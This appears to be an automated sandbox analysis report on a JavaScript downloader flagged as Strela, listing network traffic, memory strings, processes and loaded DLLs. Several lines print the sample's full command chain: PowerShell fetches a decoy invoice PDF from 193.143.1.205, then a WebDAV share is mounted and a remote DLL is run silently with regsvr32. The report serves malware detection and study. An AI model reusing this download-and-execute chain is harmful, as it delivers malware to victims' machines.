HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1697118422.0000023AE5579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1753884546.00000244B1CB0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749346928.00000244B1CFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1754101767.00000244B1CFE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/SyC3#
Source: net.exe, 00000006.00000002.1753958556.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1752982346.00000244B1CD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/cys3
Source: net.exe, 00000006.00000002.1753884546.00000244B1CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2987928904.0000021306E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1759744427.0000021306BF8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1759744427.0000021306BF8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1759744427.0000021306BF8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1759744427.0000021306C2D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1759744427.0000021306CA2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1759744427.0000021306CA2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1759744427.0000021306CA2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6876, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1957514819973625739.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdihqtkz.g4e.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,7578541459819144635,9928862344272280672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,7578541459819144635,9928862344272280672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
